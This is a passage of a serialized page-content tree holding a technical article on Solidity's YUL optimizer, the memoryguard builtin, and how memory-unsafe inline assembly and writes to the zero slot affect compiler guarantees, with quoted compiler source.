generateEVMFromIR",{"type":24,"tag":83,"props":28960,"children":28961},{"style":107},[28962],{"type":29,"value":558},{"type":24,"tag":83,"props":28964,"children":28965},{"style":143},[28966],{"type":29,"value":4315},{"type":24,"tag":83,"props":28968,"children":28969},{"style":107},[28970],{"type":29,"value":28918},{"type":24,"tag":83,"props":28972,"children":28973},{"class":85,"line":256},[28974],{"type":24,"tag":83,"props":28975,"children":28976},{"style":117},[28977],{"type":29,"value":28978},"        else\n",{"type":24,"tag":83,"props":28980,"children":28981},{"class":85,"line":270},[28982,28987,28991,28995],{"type":24,"tag":83,"props":28983,"children":28984},{"style":101},[28985],{"type":29,"value":28986},"            compileContract",{"type":24,"tag":83,"props":28988,"children":28989},{"style":107},[28990],{"type":29,"value":558},{"type":24,"tag":83,"props":28992,"children":28993},{"style":143},[28994],{"type":29,"value":4315},{"type":24,"tag":83,"props":28996,"children":28997},{"style":107},[28998],{"type":29,"value":28999},"contract, otherCompilers);\n",{"type":24,"tag":83,"props":29001,"children":29002},{"class":85,"line":302},[29003],{"type":24,"tag":83,"props":29004,"children":29005},{"style":107},[29006],{"type":29,"value":446},{"type":24,"tag":25,"props":29008,"children":29009},{},[29010,29012,29019,29020,29027],{"type":29,"value":29011},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":24,"tag":2033,"props":29013,"children":29016},{"href":29014,"rel":29015},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[2037],[29017],{"type":29,"value":29018},"YulStack::optimize",{"type":29,"value":2287},{"type":24,"tag":2033,"props":29021,"children":29024},{"href":29022,"rel":29023},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[2037],[29025],{"type":29,"value":29026},"Assembly::optimize",{"type":29,"value":161},{"type":24,"tag":25,"props":29029,"children":29030},{},[29031],{"type":29,"value":29032},"In total, there are four steps.",{"type":24,"tag":63,"props":29034,"children":29035},{},[29036,29040,29045,29049],{"type":24,"tag":67,"props":29037,"children":29038},{},[29039],{"type":29,"value":28853},{"type":24,"tag":67,"props":29041,"children":29042},{},[29043],{"type":29,"value":29044},"Optimization of YUL IR",{"type":24,"tag":67,"props":29046,"children":29047},{},[29048],{"type":29,"value":28858},{"type":24,"tag":67,"props":29050,"children":29051},{},[29052],{"type":29,"value":29053},"Optimization of EVM opcodes",{"type":24,"tag":25,"props":29055,"children":29056},{},[29057],{"type":29,"value":29058},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":24,"tag":2677,"props":29060,"children":29061},{},[29062],{"type":24,"tag":25,"props":29063,"children":29064},{},[29065],{"type":29,"value":29066},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":24,"tag":25,"props":29068,"children":29069},{},[29070],{"type":29,"value":29071},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":24,"tag":25,"props":29073,"children":29074},{},[29075],{"type":29,"value":29076},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":24,"tag":25,"props":29078,"children":29079},{},[29080],{"type":29,"value":29081},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":24,"tag":51,"props":29083,"children":29085},{"id":29084},"guarantees",[29086],{"type":29,"value":29087},"Guarantees",{"type":24,"tag":25,"props":29089,"children":29090},{},[29091,29092,29099,29101,29106],{"type":29,"value":16348},{"type":24,"tag":2033,"props":29093,"children":29096},{"href":29094,"rel":29095},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[2037],[29097],{"type":29,"value":29098},"Solidity memory layout",{"type":29,"value":29100}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":24,"tag":2655,"props":29102,"children":29103},{},[29104],{"type":29,"value":29105},"no information about this layout",{"type":29,"value":161},{"type":24,"tag":25,"props":29108,"children":29109},{},[29110],{"type":29,"value":29111},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":24,"tag":25,"props":29113,"children":29114},{},[29115,29117,29123,29125,29131],{"type":29,"value":29116},"Introducing ",{"type":24,"tag":32,"props":29118,"children":29120},{"className":29119},[],[29121],{"type":29,"value":29122},"memoryguard",{"type":29,"value":29124},". If you've ever looked at the output of ",{"type":24,"tag":32,"props":29126,"children":29128},{"className":29127},[],[29129],{"type":29,"value":29130},"solc --ir",{"type":29,"value":29132},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":24,"tag":73,"props":29134,"children":29136},{"className":4220,"code":29135,"language":4219,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[29137],{"type":24,"tag":32,"props":29138,"children":29139},{"__ignoreMap":7},[29140,29158],{"type":24,"tag":83,"props":29141,"children":29142},{"class":85,"line":86},[29143,29148,29153],{"type":24,"tag":83,"props":29144,"children":29145},{"style":2735},[29146],{"type":29,"value":29147},"    /// @src 0:26:371  \"contract ",{"type":24,"tag":83,"props":29149,"children":29150},{"style":90},[29151],{"type":29,"value":29152},"XXX",{"type":24,"tag":83,"props":29154,"children":29155},{"style":2735},[29156],{"type":29,"value":29157}," {...\"\n",{"type":24,"tag":83,"props":29159,"children":29160},{"class":85,"line":113},[29161,29166,29170,29175,29179,29183,29187,29192],{"type":24,"tag":83,"props":29162,"children":29163},{"style":101},[29164],{"type":29,"value":29165},"    store",{"type":24,"tag":83,"props":29167,"children":29168},{"style":107},[29169],{"type":29,"value":558},{"type":24,"tag":83,"props":29171,"children":29172},{"style":245},[29173],{"type":29,"value":29174},"64",{"type":24,"tag":83,"props":29176,"children":29177},{"style":107},[29178],{"type":29,"value":568},{"type":24,"tag":83,"props":29180,"children":29181},{"style":101},[29182],{"type":29,"value":29122},{"type":24,"tag":83,"props":29184,"children":29185},{"style":107},[29186],{"type":29,"value":558},{"type":24,"tag":83,"props":29188,"children":29189},{"style":245},[29190],{"type":29,"value":29191},"0x80",{"type":24,"tag":83,"props":29193,"children":29194},{"style":107},[29195],{"type":29,"value":19452},{"type":24,"tag":25,"props":29197,"children":29198},{},[29199,29201,29208],{"type":29,"value":29200},"From ",{"type":24,"tag":2033,"props":29202,"children":29205},{"href":29203,"rel":29204},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[2037],[29206],{"type":29,"value":29207},"the documentation",{"type":29,"value":3868},{"type":24,"tag":2677,"props":29210,"children":29211},{},[29212],{"type":24,"tag":25,"props":29213,"children":29214},{},[29215,29217,29223,29225,29231,29233,29238],{"type":29,"value":29216},"The caller of ",{"type":24,"tag":32,"props":29218,"children":29220},{"className":29219},[],[29221],{"type":29,"value":29222},"let ptr := memoryguard(size)",{"type":29,"value":29224}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":24,"tag":32,"props":29226,"children":29228},{"className":29227},[],[29229],{"type":29,"value":29230},"[0, size)",{"type":29,"value":29232}," or the unbounded range starting at ",{"type":24,"tag":32,"props":29234,"children":29236},{"className":29235},[],[29237],{"type":29,"value":13694},{"type":29,"value":161},{"type":24,"tag":25,"props":29240,"children":29241},{},[29242,29244,29249,29251,29257],{"type":29,"value":29243},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":24,"tag":32,"props":29245,"children":29247},{"className":29246},[],[29248],{"type":29,"value":29122},{"type":29,"value":29250}," return ",{"type":24,"tag":32,"props":29252,"children":29254},{"className":29253},[],[29255],{"type":29,"value":29256},"size + 32",{"type":29,"value":29258},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":24,"tag":25,"props":29260,"children":29261},{},[29262,29264,29271,29273,29278,29280,29285],{"type":29,"value":29263},"An example of this optimization in practice ",{"type":24,"tag":2033,"props":29265,"children":29268},{"href":29266,"rel":29267},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[2037],[29269],{"type":29,"value":29270},"is the StackLimitEvader",{"type":29,"value":29272},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":24,"tag":2655,"props":29274,"children":29275},{},[29276],{"type":29,"value":29277},"only",{"type":29,"value":29279}," optimization pass that relies on the semantic information communicated by ",{"type":24,"tag":32,"props":29281,"children":29283},{"className":29282},[],[29284],{"type":29,"value":29122},{"type":29,"value":161},{"type":24,"tag":25,"props":29287,"children":29288},{},[29289],{"type":29,"value":29290},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":24,"tag":25,"props":29292,"children":29293},{},[29294,29296,29302],{"type":29,"value":29295},"Fear not, for we can remove this pointer entirely and call ",{"type":24,"tag":32,"props":29297,"children":29299},{"className":29298},[],[29300],{"type":29,"value":29301},"memoryguard(0x60)",{"type":29,"value":29303}," instead. The rest of the pipeline will still work.",{"type":24,"tag":51,"props":29305,"children":29306},{"id":28815},[29307],{"type":29,"value":29308},"Memory Safety",{"type":24,"tag":25,"props":29310,"children":29311},{},[29312],{"type":29,"value":29313},"So what does memory safety mean?",{"type":24,"tag":25,"props":29315,"children":29316},{},[29317,29319,29325],{"type":29,"value":29318},"The Solidity documentation provides ",{"type":24,"tag":2033,"props":29320,"children":29322},{"href":28790,"rel":29321},[2037],[29323],{"type":29,"value":29324},"a set of constraints",{"type":29,"value":29326},", not a definition.",{"type":24,"tag":2677,"props":29328,"children":29329},{},[29330,29335],{"type":24,"tag":25,"props":29331,"children":29332},{},[29333],{"type":29,"value":29334},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":24,"tag":63,"props":29336,"children":29337},{},[29338,29343,29348,29353],{"type":24,"tag":67,"props":29339,"children":29340},{},[29341],{"type":29,"value":29342},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":24,"tag":67,"props":29344,"children":29345},{},[29346],{"type":29,"value":29347},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":24,"tag":67,"props":29349,"children":29350},{},[29351],{"type":29,"value":29352},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":24,"tag":67,"props":29354,"children":29355},{},[29356],{"type":29,"value":29357},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":24,"tag":25,"props":29359,"children":29360},{},[29361,29363,29370,29380],{"type":29,"value":29362},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":24,"tag":2033,"props":29364,"children":29367},{"href":29365,"rel":29366},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[2037],[29368],{"type":29,"value":29369},"removes the memory guard",{"type":24,"tag":15213,"props":29371,"children":29372},{},[29373],{"type":24,"tag":2033,"props":29374,"children":29378},{"href":29375,"ariaDescribedBy":29376,"dataFootnoteRef":7,"id":29377},"#user-content-fn-1",[15220],"user-content-fnref-1",[29379],{"type":29,"value":3756},{"type":29,"value":161},{"type":24,"tag":73,"props":29382,"children":29384},{"className":28861,"code":29383,"language":28863,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[29385],{"type":24,"tag":32,"props":29386,"children":29387},{"__ignoreMap":7},[29388,29396,29404,29411,29447,29454,29462,29470,29478,29486,29494,29507,29520,29528],{"type":24,"tag":83,"props":29389,"children":29390},{"class":85,"line":86},[29391],{"type":24,"tag":83,"props":29392,"children":29393},{"style":2735},[29394],{"type":29,"value":29395},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":24,"tag":83,"props":29397,"children":29398},{"class":85,"line":113},[29399],{"type":24,"tag":83,"props":29400,"children":29401},{"style":2735},[29402],{"type":29,"value":29403},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":24,"tag":83,"props":29405,"children":29406},{"class":85,"line":128},[29407],{"type":24,"tag":83,"props":29408,"children":29409},{"emptyLinePlaceholder":16},[29410],{"type":29,"value":3422},{"type":24,"tag":83,"props":29412,"children":29413},{"class":85,"line":183},[29414,29419,29424,29429,29433,29438,29443],{"type":24,"tag":83,"props":29415,"children":29416},{"style":3163},[29417],{"type":29,"value":29418},"string",{"type":24,"tag":83,"props":29420,"children":29421},{"style":107},[29422],{"type":29,"value":29423}," IRGenerator::",{"type":24,"tag":83,"props":29425,"children":29426},{"style":101},[29427],{"type":29,"value":29428},"memoryInit",{"type":24,"tag":83,"props":29430,"children":29431},{"style":107},[29432],{"type":29,"value":558},{"type":24,"tag":83,"props":29434,"children":29435},{"style":90},[29436],{"type":29,"value":29437},"bool",{"type":24,"tag":83,"props":29439,"children":29440},{"style":137},[29441],{"type":29,"value":29442}," _useMemoryGuard",{"type":24,"tag":83,"props":29444,"children":29445},{"style":107},[29446],{"type":29,"value":2905},{"type":24,"tag":83,"props":29448,"children":29449},{"class":85,"line":203},[29450],{"type":24,"tag":83,"props":29451,"children":29452},{"style":107},[29453],{"type":29,"value":10628},{"type":24,"tag":83,"props":29455,"children":29456},{"class":85,"line":212},[29457],{"type":24,"tag":83,"props":29458,"children":29459},{"style":2735},[29460],{"type":29,"value":29461}," // This function should be called at the beginning of the EVM call frame\n",{"type":24,"tag":83,"props":29463,"children":29464},{"class":85,"line":256},[29465],{"type":24,"tag":83,"props":29466,"children":29467},{"style":2735},[29468],{"type":29,"value":29469}," // and thus can assume all memory to be zero, including the contents of\n",{"type":24,"tag":83,"props":29471,"children":29472},{"class":85,"line":270},[29473],{"type":24,"tag":83,"props":29474,"children":29475},{"style":2735},[29476],{"type":29,"value":29477}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":24,"tag":83,"props":29479,"children":29480},{"class":85,"line":302},[29481],{"type":24,"tag":83,"props":29482,"children":29483},{"style":117},[29484],{"type":29,"value":29485}," return\n",{"type":24,"tag":83,"props":29487,"children":29488},{"class":85,"line":324},[29489],{"type":24,"tag":83,"props":29490,"children":29491},{"style":107},[29492],{"type":29,"value":29493},"  Whiskers{\n",{"type":24,"tag":83,"props":29495,"children":29496},{"class":85,"line":345},[29497,29502],{"type":24,"tag":83,"props":29498,"children":29499},{"style":107},[29500],{"type":29,"value":29501},"   _useMemoryGuard ",{"type":24,"tag":83,"props":29503,"children":29504},{"style":143},[29505],{"type":29,"value":29506},"?\n",{"type":24,"tag":83,"props":29508,"children":29509},{"class":85,"line":358},[29510,29515],{"type":24,"tag":83,"props":29511,"children":29512},{"style":187},[29513],{"type":29,"value":29514},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":24,"tag":83,"props":29516,"children":29517},{"style":143},[29518],{"type":29,"value":29519}," :\n",{"type":24,"tag":83,"props":29521,"children":29522},{"class":85,"line":367},[29523],{"type":24,"tag":83,"props":29524,"children":29525},{"style":187},[29526],{"type":29,"value":29527},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":24,"tag":83,"props":29529,"children":29530},{"class":85,"line":406},[29531],{"type":24,"tag":83,"props":29532,"children":29533},{"style":107},[29534],{"type":29,"value":455},{"type":24,"tag":25,"props":29536,"children":29537},{},[29538,29543,29545,29551],{"type":24,"tag":32,"props":29539,"children":29541},{"className":29540},[],[29542],{"type":29,"value":29130},{"type":29,"value":29544}," will now no longer have ",{"type":24,"tag":32,"props":29546,"children":29548},{"className":29547},[],[29549],{"type":29,"value":29550},"memoryguard(0x80)",{"type":29,"value":29552}," as expected.",{"type":24,"tag":73,"props":29554,"children":29556},{"className":4220,"code":29555,"language":4219,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[29557],{"type":24,"tag":32,"props":29558,"children":29559},{"__ignoreMap":7},[29560,29575],{"type":24,"tag":83,"props":29561,"children":29562},{"class":85,"line":86},[29563,29567,29571],{"type":24,"tag":83,"props":29564,"children":29565},{"style":2735},[29566],{"type":29,"value":29147},{"type":24,"tag":83,"props":29568,"children":29569},{"style":90},[29570],{"type":29,"value":29152},{"type":24,"tag":83,"props":29572,"children":29573},{"style":2735},[29574],{"type":29,"value":29157},{"type":24,"tag":83,"props":29576,"children":29577},{"class":85,"line":113},[29578,29583,29587,29591,29595,29600],{"type":24,"tag":83,"props":29579,"children":29580},{"style":101},[29581],{"type":29,"value":29582},"    mstore",{"type":24,"tag":83,"props":29584,"children":29585},{"style":107},[29586],{"type":29,"value":558},{"type":24,"tag":83,"props":29588,"children":29589},{"style":245},[29590],{"type":29,"value":29174},{"type":24,"tag":83,"props":29592,"children":29593},{"style":107},[29594],{"type":29,"value":568},{"type":24,"tag":83,"props":29596,"children":29597},{"style":245},[29598],{"type":29,"value":29599},"128",{"type":24,"tag":83,"props":29601,"children":29602},{"style":107},[29603],{"type":29,"value":2905},{"type":24,"tag":25,"props":29605,"children":29606},{},[29607,29609,29614,29616,29621],{"type":29,"value":29608},"Semantically, the absence of ",{"type":24,"tag":32,"props":29610,"children":29612},{"className":29611},[],[29613],{"type":29,"value":29122},{"type":29,"value":29615}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":24,"tag":32,"props":29617,"children":29619},{"className":29618},[],[29620],{"type":29,"value":29122},{"type":29,"value":29622}," invariant.",{"type":24,"tag":2677,"props":29624,"children":29625},{},[29626],{"type":24,"tag":25,"props":29627,"children":29628},{},[29629,29630,29635,29636,29641,29642,29647],{"type":29,"value":29216},{"type":24,"tag":32,"props":29631,"children":29633},{"className":29632},[],[29634],{"type":29,"value":29222},{"type":29,"value":29224},{"type":24,"tag":32,"props":29637,"children":29639},{"className":29638},[],[29640],{"type":29,"value":29230},{"type":29,"value":29232},{"type":24,"tag":32,"props":29643,"children":29645},{"className":29644},[],[29646],{"type":29,"value":13694},{"type":29,"value":161},{"type":24,"tag":25,"props":29649,"children":29650},{},[29651],{"type":29,"value":29652},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":24,"tag":51,"props":29654,"children":29656},{"id":29655},"undefined-behavior",[29657],{"type":29,"value":29658},"Undefined Behavior",{"type":24,"tag":25,"props":29660,"children":29661},{},[29662,29664,29669,29671,29676,29678,29684],{"type":29,"value":29663},"How strict is memory safety? When it comes to ",{"type":24,"tag":32,"props":29665,"children":29667},{"className":29666},[],[29668],{"type":29,"value":29122},{"type":29,"value":29670},", only touching memory after 0x80 seems to matter. Is ",{"type":24,"tag":32,"props":29672,"children":29674},{"className":29673},[],[29675],{"type":29,"value":28780},{"type":29,"value":29677}," annotated assembly that touches memory at ",{"type":24,"tag":32,"props":29679,"children":29681},{"className":29680},[],[29682],{"type":29,"value":29683},"[0x40, 0x7f]",{"type":29,"value":29685}," really safe?",{"type":24,"tag":25,"props":29687,"children":29688},{},[29689,29690,29697,29699,29704],{"type":29,"value":16348},{"type":24,"tag":2033,"props":29691,"children":29694},{"href":29692,"rel":29693},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[2037],[29695],{"type":29,"value":29696},"Solidity documentation",{"type":29,"value":29698}," mentions ",{"type":24,"tag":2655,"props":29700,"children":29701},{},[29702],{"type":29,"value":29703},"undefined behavior",{"type":29,"value":29705}," three times.",{"type":24,"tag":63,"props":29707,"children":29708},{},[29709,29714,29729],{"type":24,"tag":67,"props":29710,"children":29711},{},[29712],{"type":29,"value":29713},"The existence of a dangling reference",{"type":24,"tag":67,"props":29715,"children":29716},{},[29717,29719],{"type":29,"value":29718},"Using verbatim improperly",{"type":24,"tag":15213,"props":29720,"children":29721},{},[29722],{"type":24,"tag":2033,"props":29723,"children":29727},{"href":29724,"ariaDescribedBy":29725,"dataFootnoteRef":7,"id":29726},"#user-content-fn-2",[15220],"user-content-fnref-2",[29728],{"type":29,"value":2867},{"type":24,"tag":67,"props":29730,"children":29731},{},[29732],{"type":29,"value":29733},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":24,"tag":25,"props":29735,"children":29736},{},[29737],{"type":29,"value":29738},"Why does this matter?",{"type":24,"tag":25,"props":29740,"children":29741},{},[29742,29744,29751,29753,29760],{"type":29,"value":29743},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":24,"tag":2033,"props":29745,"children":29748},{"href":29746,"rel":29747},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[2037],[29749],{"type":29,"value":29750},"signed integer overflow is undefined",{"type":29,"value":29752},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":24,"tag":2033,"props":29754,"children":29757},{"href":29755,"rel":29756},"https://blog.regehr.org/archives/1307",[2037],[29758],{"type":29,"value":29759},"years down the line",{"type":29,"value":161},{"type":24,"tag":25,"props":29762,"children":29763},{},[29764,29766,29773,29774,29779],{"type":29,"value":29765},"Going back to Solidity, the specification makes ",{"type":24,"tag":2033,"props":29767,"children":29770},{"href":29768,"rel":29769},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[2037],[29771],{"type":29,"value":29772},"it unambiguously clear",{"type":29,"value":18269},{"type":24,"tag":2655,"props":29775,"children":29776},{},[29777],{"type":29,"value":29778},"Thou shalt not modify the zero slot",{"type":29,"value":161},{"type":24,"tag":2677,"props":29781,"children":29782},{},[29783],{"type":24,"tag":25,"props":29784,"children":29785},{},[29786],{"type":29,"value":29787},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":24,"tag":25,"props":29789,"children":29790},{},[29791,29793,29798],{"type":29,"value":29792},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":24,"tag":2655,"props":29794,"children":29795},{},[29796],{"type":29,"value":29797},"in Solidity",{"type":29,"value":161},{"type":24,"tag":25,"props":29800,"children":29801},{},[29802],{"type":29,"value":29803},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":24,"tag":63,"props":29805,"children":29806},{},[29807],{"type":24,"tag":67,"props":29808,"children":29809},{},[29810,29812,29819],{"type":29,"value":29811},"It very clearly ",{"type":24,"tag":2033,"props":29813,"children":29816},{"href":29814,"rel":29815},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[2037],[29817],{"type":29,"value":29818},"holds true today",{"type":29,"value":161},{"type":24,"tag":73,"props":29821,"children":29823},{"className":28861,"code":29822,"language":28863,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[29824],{"type":24,"tag":32,"props":29825,"children":29826},{"__ignoreMap":7},[29827,29867,29874,29887,29958,29979,30030,30037],{"type":24,"tag":83,"props":29828,"children":29829},{"class":85,"line":86},[29830,29834,29839,29844,29848,29853,29858,29863],{"type":24,"tag":83,"props":29831,"children":29832},{"style":90},[29833],{"type":29,"value":29437},{"type":24,"tag":83,"props":29835,"children":29836},{"style":107},[29837],{"type":29,"value":29838}," IRGeneratorForStatements::",{"type":24,"tag":83,"props":29840,"children":29841},{"style":101},[29842],{"type":29,"value":29843},"visit",{"type":24,"tag":83,"props":29845,"children":29846},{"style":107},[29847],{"type":29,"value":558},{"type":24,"tag":83,"props":29849,"children":29850},{"style":3163},[29851],{"type":29,"value":29852},"InlineAssembly",{"type":24,"tag":83,"props":29854,"children":29855},{"style":90},[29856],{"type":29,"value":29857}," const&",{"type":24,"tag":83,"props":29859,"children":29860},{"style":137},[29861],{"type":29,"value":29862}," _inlineAsm",{"type":24,"tag":83,"props":29864,"children":29865},{"style":107},[29866],{"type":29,"value":2905},{"type":24,"tag":83,"props":29868,"children":29869},{"class":85,"line":113},[29870],{"type":24,"tag":83,"props":29871,"children":29872},{"style":107},[29873],{"type":29,"value":10628},{"type":24,"tag":83,"props":29875,"children":29876},{"class":85,"line":128},[29877,29882],{"type":24,"tag":83,"props":29878,"children":29879},{"style":101},[29880],{"type":29,"value":29881},"    setLocation",{"type":24,"tag":83,"props":29883,"children":29884},{"style":107},[29885],{"type":29,"value":29886},"(_inlineAsm);\n",{"type":24,"tag":83,"props":29888,"children":29889},{"class":85,"line":183},[29890,29894,29898,29902,29907,29911,29916,29920,29925,29929,29933,29937,29941,29945,29949,29954],{"type":24,"tag":83,"props":29891,"children":29892},{"style":117},[29893],{"type":29,"value":218},{"type":24,"tag":83,"props":29895,"children":29896},{"style":107},[29897],{"type":29,"value":223},{"type":24,"tag":83,"props":29899,"children":29900},{"style":143},[29901],{"type":29,"value":4315},{"type":24,"tag":83,"props":29903,"children":29904},{"style":137},[29905],{"type":29,"value":29906},"_inlineAsm",{"type":24,"tag":83,"props":29908,"children":29909},{"style":107},[29910],{"type":29,"value":161},{"type":24,"tag":83,"props":29912,"children":29913},{"style":101},[29914],{"type":29,"value":29915},"annotation",{"type":24,"tag":83,"props":29917,"children":29918},{"style":107},[29919],{"type":29,"value":738},{"type":24,"tag":83,"props":29921,"children":29922},{"style":137},[29923],{"type":29,"value":29924},"hasMemoryEffects",{"type":24,"tag":83,"props":29926,"children":29927},{"style":143},[29928],{"type":29,"value":1126},{"type":24,"tag":83,"props":29930,"children":29931},{"style":143},[29932],{"type":29,"value":12609},{"type":24,"tag":83,"props":29934,"children":29935},{"style":137},[29936],{"type":29,"value":29906},{"type":24,"tag":83,"props":29938,"children":29939},{"style":107},[29940],{"type":29,"value":161},{"type":24,"tag":83,"props":29942,"children":29943},{"style":101},[29944],{"type":29,"value":29915},{"type":24,"tag":83,"props":29946,"children":29947},{"style":107},[29948],{"type":29,"value":738},{"type":24,"tag":83,"props":29950,"children":29951},{"style":137},[29952],{"type":29,"value":29953},"markedMemorySafe",{"type":24,"tag":83,"props":29955,"children":29956},{"style":107},[29957],{"type":29,"value":2905},{"type":24,"tag":83,"props":29959,"children":29960},{"class":85,"line":203},[29961,29966,29970,29975],{"type":24,"tag":83,"props":29962,"children":29963},{"style":137},[29964],{"type":29,"value":29965},"        m_context",{"type":24,"tag":83,"props":29967,"children":29968},{"style":107},[29969],{"type":29,"value":161},{"type":24,"tag":83,"props":29971,"children":29972},{"style":101},[29973],{"type":29,"value":29974},"setMemoryUnsafeInlineAssemblySeen",{"type":24,"tag":83,"props":29976,"children":29977},{"style":107},[29978],{"type":29,"value":267},{"type":24,"tag":83,"props":29980,"children":29981},{"class":85,"line":212},[29982,29987,29991,29995,30000,30005,30009,30013,30017,30021,30026],{"type":24,"tag":83,"props":29983,"children":29984},{"style":107},[29985],{"type":29,"value":29986},"    CopyTranslate bodyCopier{",{"type":24,"tag":83,"props":29988,"children":29989},{"style":137},[29990],{"type":29,"value":29906},{"type":24,"tag":83,"props":29992,"children":29993},{"style":107},[29994],{"type":29,"value":161},{"type":24,"tag":83,"props":29996,"children":29997},{"style":101},[29998],{"type":29,"value":29999},"dialect",{"type":24,"tag":83,"props":30001,"children":30002},{"style":107},[30003],{"type":29,"value":30004},"(), m_context, ",{"type":24,"tag":83,"props":30006,"children":30007},{"style":137},[30008],{"type":29,"value":29906},{"type":24,"tag":83,"props":30010,"children":30011},{"style":107},[30012],{"type":29,"value":161},{"type":24,"tag":83,"props":30014,"children":30015},{"style":101},[30016],{"type":29,"value":29915},{"type":24,"tag":83,"props":30018,"children":30019},{"style":107},[30020],{"type":29,"value":738},{"type":24,"tag":83,"props":30022,"children":30023},{"style":137},[30024],{"type":29,"value":30025},"externalReferences",{"type":24,"tag":83,"props":30027,"children":30028},{"style":107},[30029],{"type":29,"value":1071},{"type":24,"tag":83,"props":30031,"children":30032},{"class":85,"line":256},[30033],{"type":24,"tag":83,"props":30034,"children":30035},{"emptyLinePlaceholder":16},[30036],{"type":29,"value":3422},{"type":24,"tag":83,"props":30038,"children":30039},{"class":85,"line":270},[30040,30045,30049,30054,30058,30062,30066,30071],{"type":24,"tag":83,"props":30041,"children":30042},{"style":107},[30043],{"type":29,"value":30044},"    yul::Statement modified ",{"type":24,"tag":83,"props":30046,"children":30047},{"style":143},[30048],{"type":29,"value":1275},{"type":24,"tag":83,"props":30050,"children":30051},{"style":101},[30052],{"type":29,"value":30053}," 